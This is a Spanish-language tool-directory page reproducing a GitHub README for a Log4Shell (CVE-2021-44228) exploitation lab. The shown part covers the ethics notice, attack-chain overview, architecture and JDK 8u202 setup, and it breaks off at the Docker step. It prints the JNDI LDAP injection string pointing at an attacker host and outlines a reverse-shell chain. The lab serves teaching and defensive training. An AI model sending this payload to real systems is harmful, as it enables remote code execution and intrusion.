Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Log4Shell-CVE-2021-44228 — Laboratorio práctico para explotar y comprender Log4Shell (CVE-2021-44228) usando Docker, Kali Linux, Burp Suite y log4j-shell-poc. Solo para enseñanza y entrenamiento defensivo en entornos de laboratorio controlados. | Kitploit
Herramientas/GitHubGitHub/drhaitham/log4shell-cve-2021-44228
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónIngeniería InversaExplotación de Aplicaciones WebPruebas de PenetraciónComando y ControlAprendizaje y Educación
Red Teaming
Labs y Práctica
GitHubdrhaitham/log4shell-cve-2021-44228

Log4Shell-CVE-2021-44228

Laboratorio práctico para explotar y comprender Log4Shell (CVE-2021-44228) usando Docker, Kali Linux, Burp Suite y log4j-shell-poc. Solo para enseñanza y entrenamiento defensivo en entornos de laboratorio controlados.

Ver Repositorio
31hace 10 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Explotando Log4Shell (CVE-2021-44228): Un Laboratorio de Demostración Completo y Moderno

Log4Shell (CVE-2021-44228) es una de las vulnerabilidades de ejecución remota de código más impactantes jamás divulgadas. Afecta a Apache Log4j 2, un framework de registro (logging) de Java ampliamente utilizado, y permite a los atacantes ejecutar código arbitrario mediante el abuso de búsquedas JNDI en mensajes de registro.

Esta guía proporciona un laboratorio de demostración completo y reproducible que utiliza:

  • Kali Linux (atacante)
  • Una aplicación Log4j2 vulnerable contenedizada con Docker
  • El PoC público log4j-shell-poc
  • curl, Burp Suite y Netcat

Está diseñada exclusivamente para enseñanza, investigación, formación y concienciación defensiva en entornos controlados. La estructura y el estilo siguen el mismo espíritu que el README del laboratorio complementario «Shellshock».


📌 Tabla de Contenidos

  1. Aviso Legal y Ético
  2. Resumen General
  3. Objetivos de Aprendizaje
  4. Arquitectura del Laboratorio
  5. Requisitos Previos
  6. Instalar JDK 1.8.0_202 en Kali
  7. Desplegar la Aplicación Log4j Vulnerable (Docker)
  8. Preparar el PoC del Exploit
  9. Configurar poc.py para Usar JDK 1.8.0_202
  10. Iniciar los Servicios del Exploit (LDAP + HTTP + Payload)
  11. Iniciar el Listener de Reverse Shell
  12. Explotar Log4Shell mediante curl
  13. Explotar Log4Shell mediante Burp Suite
  14. Diagrama de la Cadena de Ataque
  15. Contramedidas y Defensa
  16. Hoja de Referencia (Todos los Comandos)
  17. Galería de Capturas de Pantalla (Opcional)
  18. Referencias
  19. Créditos

0. Aviso Legal y Ético

Este laboratorio solo debe realizarse en un entorno controlado donde tengas autorización explícita (tu propio laboratorio, máquinas virtuales de clase, etc.).

  • No ataques sistemas de producción.
  • No lo ejecutes contra hosts que no poseas o administres.
  • Utiliza este material únicamente con fines educativos, de investigación y de defensa.

1. Resumen General

Log4Shell (CVE-2021-44228) es una vulnerabilidad crítica de RCE en Apache Log4j 2.

El problema surge porque las versiones vulnerables de Log4j2 interpretan cadenas controladas por el atacante como:

${jndi:ldap://ATTACKER_IP:1389/a}

Cuando esta cadena se registra, Log4j:

  1. Realiza una búsqueda JNDI (p. ej., mediante LDAP) hacia un servidor controlado por el atacante.
  2. Recibe una referencia a una clase Java maliciosa.
  3. Descarga la clase por HTTP y la carga en la JVM.
  4. La ejecuta, lo que produce ejecución remota de código.

En este laboratorio:

  • Ejecutarás una aplicación web Log4j2 vulnerable dentro de un contenedor Docker.
  • Ejecutarás un servidor LDAP + HTTP malicioso en Kali usando log4j-shell-poc.
  • Entregarás el payload de Log4Shell mediante curl y mediante Burp Suite.
  • Capturarás una reverse shell desde el contenedor vulnerable.

2. Objetivos de Aprendizaje

Al finalizar este laboratorio, deberías ser capaz de:

  1. Explicar a alto nivel cómo funciona Log4Shell y por qué JNDI es peligroso cuando se usa indebidamente.
  2. Desplegar una aplicación Log4j2 vulnerable usando Docker.
  3. Instalar y configurar JDK 1.8.0_202, requerido por el PoC.
  4. Ejecutar un servidor LDAP malicioso y un servidor HTTP mediante el script del PoC.
  5. Disparar la vulnerabilidad y obtener una reverse shell.
  6. Usar Burp Suite para inyectar el exploit en una cabecera HTTP.
  7. Discutir mitigaciones realistas y estrategias de detección.

3. Arquitectura del Laboratorio

Todos los componentes se ejecutan sobre tu laboratorio virtual existente. Para esta documentación asumimos:

  • La VM de Kali Linux es el atacante.
  • Kali también ejecuta el contenedor Docker que contiene la aplicación vulnerable.
ComponenteRol / DescripciónHerramientas / ServiciosDireccionamiento de Ejemplo
VM Kali Linux (Atacante + Host)Ejecuta el PoC del exploit, servidor LDAP, servidor HTTP, listener de Netcat, Burp SuitePython 3, JDK 1.8.0_202, Netcat, Burp Suite, Docker, curl, Git192.168.1.4 (IP de ejemplo de Kali)
Aplicación web Log4j2 vulnerableObjetivo; aplicación web Spring Boot vulnerable a Log4ShellImagen Docker: ghcr.io/christophetd/log4shell-vulnerable-appExpuesta en http://127.0.0.1:8080

Idea clave

El atacante inyecta:

${jndi:ldap://192.168.1.4:1389/a}

en una cabecera HTTP. La aplicación vulnerable la registra usando Log4j2 → realiza una búsqueda JNDI LDAP hacia 192.168.1.4:1389 → descarga una clase maliciosa desde http://192.168.1.4:8000 → ejecuta la clase, que abre una reverse shell de vuelta a 192.168.1.4:9001.


4. Requisitos Previos

En Kali necesitas:

  • Docker (instalado y funcionando).
  • Python 3 (predeterminado en Kali).
  • Netcat (nc).
  • Burp Suite (la Community Edition es suficiente).
  • Acceso a Internet para las descargas iniciales.
  • Familiaridad básica con Linux y HTTP.

A lo largo de esta guía asumimos que la IP de Kali es:

192.168.1.4

Si tu IP es diferente, ajusta todos los comandos en consecuencia.


5. Instalar JDK 1.8.0_202 en Kali (Obligatorio)

El PoC depende de Java SE 8 Update 202 (JDK 1.8.0_202) porque las versiones posteriores de Java restringen el comportamiento de carga remota de clases que utiliza este exploit.

Incluso si Kali ya tiene OpenJDK 21 (o similar), igualmente necesitas instalar 8u202 por separado.

5.1 Crear un directorio de trabajo

mkdir -p ~/Log4Shell
cd ~/Log4Shell

5.2 Descargar JDK 8u202 desde el espejo de HuaweiCloud

Raíz del espejo:

https://mirrors.huaweicloud.com/java/jdk/8u202-b08/

Descarga el tarball para Linux x64 (≈185 MB):

wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz   # debería ser ~185M

5.3 Extraer en /usr/bin/jdk1.8.0_202

sudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
  -C /usr/bin/jdk1.8.0_202 --strip-components=1

La opción --strip-components=1 elimina el directorio de nivel superior del archivo para que los archivos queden directamente en /usr/bin/jdk1.8.0_202.

5.4 Verificar la instalación

/usr/bin/jdk1.8.0_202/bin/java -version

Salida esperada:

java version "1.8.0_202"
Java(TM) SE Runtime Environment (build 1.8.0_202-b08)
Java HotSpot(TM) 64-Bit Server VM (build 25.202-b08, mixed mode)

Si ves esto, JDK 1.8.0_202 está correctamente instalado.


6. Desplegar la Aplicación Log4j Vulnerable (Docker en Kali)

En una nueva terminal en Kali (puedes permanecer en ~/Log4Shell):

Descargar herramienta